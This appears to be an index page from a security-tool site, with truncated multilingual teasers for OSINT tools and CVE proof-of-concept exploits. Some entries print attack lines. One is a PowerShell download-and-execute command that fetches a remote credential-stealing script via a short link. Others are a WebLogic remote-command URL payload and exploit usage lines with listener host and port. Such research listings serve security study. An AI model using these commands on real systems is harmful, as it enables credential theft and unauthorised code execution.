chiasmodon

Chiasmodon Chiasmodon is an OSINT tool that allows users to gather information from various sources and conduct targeted searches based on domains, Google Play applications, email addresses, IP addresses, organizations, URLs, and more. It provides comprehensive scanning capabilities, customizable...

chiasmodon

Chiasmodon Chiasmodon एक OSINT उपकरण है जो उपयोगकर्ताओं को विभिन्न स्रोतों से जानकारी एकत्र करने और डोमेन, Google Play एप्लिकेशन, ईमेल पते, आईपी पते, संगठनों, URL, और अधिक के आधार पर लक्षित खोज करने की अनुमति देता है। यह व्यापक स्कैनिंग क्षमताएं, अनुकूलन योग्य आउटपुट प्रारूप, और बेहतर डेटा विश्ले...

CVE-2020-1313

CVE-2020-1313 Abstract Windows Update Orchestrator Service is a DCOM service used by other components to install windows updates that are already downloaded. USO was vulnerable to Elevation of Privileges any user to local system due to an improper authorization of the callers. The vulnerability...

CVE-2021-27651

सारांश एक हमलावर पासवर्ड रीसेट प्रवाह के सभी चरणों को बायपास कर सकता है और Pega Infinity पर किसी भी उपयोगकर्ता के खाते को रीसेट कर सकता है। यह 1 पासवर्ड रीसेट प्रवाह शुरू करके और पीड़ित का ईमेल टाइप करके, फिर 2 HTTP POST अनुरोध को पासवर्ड अपडेट करने के लिए बाध्य करके किया जाता है। एक हमलावर नए...

CVE-2025-22710

CVE-2025-22710 1️⃣ Component type WordPress plugin 2️⃣ Component details Component name WooCommerce Advanced Bulk Edit Products, Orders, Coupons, Any WordPress Post Type – Smart Manager Vulnerable version ⚠️ At least one post must exist to observe the difference in response values based on...

CVE-2017-9101

PlaySMS 1.4 authenticated RCE Simple method of performing remote code execution through the Phonebook CSV upload issue as described on ExploitDB. Either run a single command: root@kitploit: % python3 playsmshell.py --url http://localhost/playsms --password playwithsms -c 'id' Grabbing CSRF token...

katana

एक अगली पीढ़ी का क्रॉलिंग और स्पाइडरिंग फ्रेमवर्क विशेषताएँ • स्थापना • उपयोग • दायरा • कॉन्फ़िग • फ़िल्टर • Discord में शामिल हों विशेषताएँ तेज़ और पूरी तरह से कॉन्फ़िगरेबल वेब क्रॉलिंग Standard और Headless मोड JavaScript पार्सिंग / क्रॉलिंग अनुकूलन योग्य स्वचालित फ़ॉर्म भरना दायरा नियंत्रण -...

flashingestor

flashingestor واجهة مستخدم طرفية TUI لجمع معلومات Active Directory. الفلسفة الأهداف الرئيسية لهذا المشروع هي: 1. أن يكون مستورد بيانات كامل متوافق مع BloodHound CE Community Edition 2. أن يكون أسرع، وأقل ضوضاء، وأكثر قابلية للتخصيص من المجمعات الأخرى 3. توفير واجهة مستخدم طرفية TUI سهلة الاستخدام...

TotalRecall

TotalRecall Reloaded Breaking Windows Recall. Again. image عندما أعادت Microsoft تصميم Recall باستخدام VBS enclaves وتشفير AES-256-GCM ومصادقة Windows Hello ومضيف Protected Process Light، كانت الرسالة واضحة: البيانات محصورة في خزنة. الخزنة متينة. لكن شاحنة التوصيل ليست كذلك. AIXHost.exe، العملية...

CVE-2020-23590

CVE-2020-23590 OPTILINK E-PON "MODEL NO: OP-XT71000N" with "HARDWARE VERSION: V2.2"; & "FIRMWARE VERSION: OPV3.3.1-191028" Vulnerability found in the "Optilink OP-XT71000N Hardware version: V2.2 , Firmware Version: OPV3.3.1-191028" which allow an unauthenticated remote attacker to conduct a...

CVE-2024-42849

CVE-2024-42849 An issue in Silverpeas v.6.4.2 and lower allows a remote attacker to cause a denial of service via the password change function. Writeup If the password change request is intercepted and a sufficiently long1MB string is supplied as the password to use, system resources will be...

catalyst

Catalyst Speed up your reactions Website - The Catalyst Handbook Documentation - Demo Catalyst is an incident response platform. It can help to automate your alert handling and incident response procedures. Features Ticket Alert & Incident Management Tickets are the core of Catalyst. They...

CVE-2025-8110

RCE - CVE-2025-59528 Gogs = 0.13.3 Exploit root@kitploit: $ python3 CVE-2025-8110.py -h usage: CVE-2025-8110.py -h -u URL -lh HOST -lp PORT -user USERNAME -pass PASSWORD -x CVE-2025-8110 Gogs Exploit options: -h, --help show this help message and exit -u, --url URL Gogs base URL e.g.,...

credgrap_ie_edge

credgrapieedge सामग्री: इंटरनेट एक्सप्लोरर और एज से संग्रहित क्रेडेंशियल्स निकालें लेखक: Florian Hansemann | @HanseSecure | https://hansesecure.de तिथि: 04/2018 उपयोग powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" अनुशंसा पावरशेल समाधान...

mysql-baseline

DevSec MySQL बेसलाइन यह अनुपालन प्रोफ़ाइल सुनिश्चित करता है कि सभी हार्डनिंग प्रोजेक्ट समान गुणवत्ता बनाए रखें। https://github.com/dev-sec/ansible-collection-hardening/tree/master/roles/mysqlhardening https://github.com/dev-sec/chef-mysql-hardening https://github.com/dev-sec/puppet-mysql-hardenin...

SecAssignment

CVE-2020-7246 qdPM 9.1 For educational purposes only. See Reference for the details. Run root@kitploit: $ git clone https://github.com/arafatansari/SecAssignment.git $ cd SecAssignment $ docker build -t cve-assignment:ine . $ docker run -it -p 80:80 cve-assignment:ine $ service apache2 start |...

CVE-2023-50072

CVE-2023-50072 A stored cross-site scripting XSS vulnerability exists in OpenKM version 7.1.40 dbb6e88 With Professional Extension that allows an authenticated user to upload a note on a file which acts as a stored XSS payload. Any user who opens the note of a document file will trigger the XSS...

CVE-2025-2995

CVE-2025-29927 Authorization Bypass reproduction This repository is a reproduction of the CVE-2025-29927 vulnerability in the next package How to reproduce 1. Follow the steps below to clone, and run the Next.js application 2. Test authorization denies access to the /api/hello endpoint...

CVE-2024-45440

CVE-2024-45440 Drupal CVE-2024-45440 Drupal 11.x-dev में core/authorize.php पूर्ण पथ प्रकटीकरण Full Path Disclosure की अनुमति देता है भले ही त्रुटि लॉगिंग None हो यदि hashsalt का मान किसी गैर-मौजूद फ़ाइल का filegetcontents हो। उपयोग root@kitploit: python CVE-2024-45440.py लैब सेटअप settings.php क...

cve-2020-14882

CVE-2020-14882 Affected versions: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 POC: root@kitploit: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=false&pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession"java.lang.Runtime.getRuntime.exec'calc.exe';";...